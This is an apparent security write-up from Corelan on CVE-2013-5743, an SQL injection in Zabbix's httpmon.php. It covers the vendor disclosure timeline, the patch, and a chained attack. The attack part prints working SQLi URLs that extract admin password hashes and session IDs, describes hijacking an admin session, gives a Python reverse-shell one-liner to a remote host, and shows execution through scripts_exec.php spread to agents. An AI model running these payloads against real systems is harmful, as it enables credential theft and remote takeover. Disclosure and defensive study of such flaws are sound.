Introduction

First off, please do not throw a tomato at me since this is not the typical Windows binary exploit article that is posted on Corelan!

During a recent a penetration test, I encountered a host running Zabbix, an agent based monitoring application. Although I was unfamiliar with the product at the time, I decided to focus my efforts trying to exploit the application. While poking around I was able to find SQL Injection through one of the frontend pages. I was then able to get code execution using the built-in server functionality. Further, I was able to get code execution on all the agents the server controlled! I thought this would be an interesting article, so I decided to share.

First, a little background.

Disclosure Timeline:

9/11/2013: Corelan contacts vendor for support contact

9/12/2013: vendor replies back with lead dev contact information

9/16/2013: Corelan makes initial contact with lead dev and asks vendor to agree with disclosure terms

9/16/2013: Vendor agrees and asks for more information about the bug

9/16/2013: Corelan sends bug report to vendor

9/23/2013: Vendor confirms bug

10/2/2013: Patch released by vendor

Corelan would like to thank the Zabbix development team for being very responsive and quick to fix the issue.

On Wednesday, October 2nd Zabbix released patch ZBX-7091 to address this and several other SQL Injection related issues. Further details regarding this patch can be found at the following URL:

https://support.zabbix.com/browse/ZBX-7091

The CVE assigned to this vulnerability is CVE-2013-5743. There are other vulnerabilities that were combined with this CVE. Bernhard Schildendorfer from SEC Consultant Vulnerability lab also found SQL injection points through the Zabbix APIs. His advisory can be found here:

http://packetstormsecurity.com/files/123511/SA-20131004-0.txt

Vendor Details

Zabbix is an open source, agent-based, monitoring and alert application used to correlate data from a wide range of clients. It’s written in PHP and supports commonly user SQL databases like MySQL, PostgreSQL, and Orcale.

From the vendor’s site (http://www.zabbix.com):

ZABBIX team’s mission is to make a superior monitoring solution available and affordable for all. The company’s flagship product is ZABBIX, one of the most popular open source monitoring software in the world. It is already used by a vast number of companies, who have chosen it due to real scalability, high and robust performance, ease of use and extremely low costs of ownership.

Vulnerability Details

This particular vulnerability affects the httpmon.php script which, by default, is accessible via an unauthenticated session. This is due in part, to the fact that Zabbix comes preconfigured with a “guest” user account which is permitted “Zabbix user” level permissions. With this, any unauthenticated request to a resource that is accessible with “Zabbix user” permissions, the session ID of that request will automatically be associated with the “guest” user, effectively authenticating that user as “guest”. If the “guest” account has been disabled, valid account credentials will be required in order to trigger this vulnerability.

In case you’re wondering, you can disable the guest account from the admin panel.

Looking at the screenshot below, we can see here that the applications parameter is susceptible to SQL Injection due to the lack of input validation applied to the “applications” parameter. By inserting a single quote (‘), the intended SQL query is escaped, throwing an exception error from the MySQL database server.



To determine the cause of this issue, we can follow the code path from the point in which the GET parameter is parsed.

Here we can see that our user supplied value is parsed from the URL request and assigned to the $application variable. Next, the add2favorites() function is then called:

foreach ($_REQUEST['applications'] as $application) { add2favorites('web.httpmon.applications', $application); }

Looking at the add2favorites function, we can see that $application variable is now referenced as $favid, which in turn is inserted into the $values array.

function add2favorites($favobj, $favid , $source = null) { $favorites = get_favorites($favobj); foreach ($favorites as $favorite) { if ($favorite['source'] == $source && $favorite['value'] == $favid) { return true; } } DBstart(); $values = array( 'profileid' => get_dbid('profiles', 'profileid'), 'userid' => CWebUser::$data['userid'], 'idx' => zbx_dbstr($favobj), 'value_id' => $favid, 'type' => PROFILE_TYPE_ID );

The $values array is then used as part of an in-line SQL query. Looking at the code sample below, we can again see that no sanitization of our data has been performed prior to passing it as part of our SQL query.

return DBend(DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values) ).') VALUES ('.implode(', ', $values).')'));

The patch

After reviewing the changes implemented by this patch, we can see that $values now calls the function “zbx_dbstr” prior to executing our previously vulnerable SQL query:

Index: frontends/php/include/profiles.inc.php =================================================================== --- frontends/php/include/profiles.inc.php (revision 38884) +++ frontends/php/include/profiles.inc.php (working copy) @@ -148,9 +148,9 @@ 'profileid' => get_dbid('profiles', 'profileid'), 'userid' => self::$userDetails['userid'], 'idx' => zbx_dbstr($idx), - $value_type => ($value_type == 'value_str') ? zbx_dbstr($value) : $value, - 'type' => $type, - 'idx2' => $idx2 + $value_type => zbx_dbstr($value), + 'type' => zbx_dbstr($type), + 'idx2' => zbx_dbstr($idx2) ); return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');// string value prepearing if (isset($DB['TYPE']) && $DB['TYPE'] == ZBX_DB_MYSQL) { function zbx_dbstr($var) { if (is_array($var)) { foreach ($var as $vnum => $value) { $var[$vnum] = "'".mysql_real_escape_string($value)."'"; } return $var; } return "'".mysql_real_escape_string($var)."'"; }

To apply the patch simply copy it to the downloaded directory of Zabbix (~/Downloads/zabbix-2.0.8/frontends) and run:

patch -p1 < fix.patch

Then copy the patched files over to your web directory:

sudo cp –r ./* /var/www/zabbix/

Leveraging SQL Injection

Generally at this time I am firing up sqlmap and doing my happy dance!

Using the following query, we can extract the Administrator username and hash from the users table:

http://zabbix.server/zabbix/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28alias,0x7e,passwd,0x7e%29%20as%20char%29,0x7e%29%29%20from%20zabbix.users%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29

Great! With this we can crack the md5 password and login as Admin! However, what if the password takes too long to crack and the user created a complex password?

It was discovered during the assessment that the session identification (sid) for all users, including Admin, is stored in the Zabbix database in the sessions table. They appear to never be discarded unless specified by the Administrator (Auto-Logout which is disabled by default).

The following is a screen shot of the Zabbix server displaying the values for the table sessions. The query is looking for the Admin session id’s, which is user id 1. Status 0 will indicate an active session IDs not in use.

It is possible to reuse one of these sessions id’s, and bypass authentication, without knowing the Admin password. The same SQL injection technique used before can extract a valid session ID from the database.

Using the following query, we can extract the Administrator session ID from the sessions table:

http://zabbix.server/zabbix/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28sessionid,0x7e,userid,0x7e,status%29%20as%20char%29,0x7e%29%29%20from%20zabbix.sessions%20where%20status=0%20and%20userid=1%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29

It is then possible to replace the existing session ID in the cookie field with the one extracted to elevate the browser session with Administrative privileges.

Example: SID = a7c3f4f6be308b74585f7cdf9d5f7650

Cool! We got Admin, now what?

One of Zabbix’s built-in features allow user’s to execute scripts on the server and agents it controls for monitoring purposes. We can leverage this built-in functionality in order to further our attack.

Further information on Zabbix’s script execution interface can be found at the following URL:

https://www.zabbix.com/documentation/2.2/manual/web_interface/frontend_sections/administration/scripts

As we already have administrator permissions, we can deploy a script that will execute on the underlying operating system and since nearly every modern Linux distribution comes preconfigured with either Perl or Python (or both), we can abuse this in order to trigger a reverse shell from our target host back to us.

Executing the following Python script from @pentestmonkey, will provide us with a remote command shell.

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Now the question is, how do we trigger the script we saved on the server?

Code Execution

Fortunately for us, Zabbix includes the scripts_exec.php script in order to trigger the execution of our command shell. However, in order to do so we’ll need to provide it with the correct parameters:

The scripts_exec.php requires the following URL parameters to execute:

execute = 1

scriptid = 4

The value is the number of scripts stored in scripts table in the database. This can be guessed, or enumerated with SQL injection. The default number of scripts in Zabbix is 3, so the next one would be 4.

sid = 585f7cdf9d5f7650

The last 16 characters in the session id. sid = a7c3f4f6be308b74585f7cdf9d5f7650

hostid = 10084

The value of host id can be found in the interface table in the database. This can be guessed, or enumerated with SQL injection. The default value of the Zabbix server (127.0.0.1) is 10084.

Now time to test our script out and see if we can get code execution:

http://zabbix.server/zabbix/scripts_exec.php?execute=1&scriptid=4&sid=585f7cdf9d5f7650&hostid=10084

Woot! So we were able to get code execution through extracting the Administrator session ID and then creating our own script to give us a remote shell.

Pyoor, a team member of Corelan, was nice enough to put everything together in a Metasploit module.

Further Exploitation?

It was also discovered that it is possible through the scripts functionality in Zabbix to execute the same commands on all agents associated with the Zabbix server. The one condition is they have to have the following configuration parameter turned on, which is off by default .

https://www.zabbix.com/documentation/2.0/manual/config/notifications/action/operation/remote_command

zabbix_agentd.conf:

### Option: EnableRemoteCommands # Whether remote commands from Zabbix server are allowed. # 0 - not allowed # 1 - allowed # # Mandatory: no # Default: # EnableRemoteCommands=0

However, it is not unusual for system administrators to enable the remote commands option in the agents.

Lets go ahead through the theory. First we would need to extract the agent from the interface table.

We can see that we have an agent running on IP 192.168.2.9 with a hostid of 10085. Next we will create a sample script to see if remote commands is enabled. This is actually very easy to test since the server command and agent response is sent in clear text.

Next we have the Zabbix server execute the script (using the same scripts_exe.php script) and we can see the results over Wireshark:

With remote commands disabled we can see that it does not execute the script. If we go ahead and enable remote commands on the agent and try the script again:

Excellent! So if we have remote commands enabled on the agent it is then possible get a shell on the agent through the Zabbix server. All we need to do is:

Extract hostid from interface table

Create script with agent hostid and modify few options in the script functionality (choose execute on zabbix agent instead of server)

Test remote commands is enabled

Execute script

If we modify our Metasploit script:

I will leave this exercise up to the reader if you want to write a post module. :)

© 2013, Corelan Team (Lincoln). All rights reserved.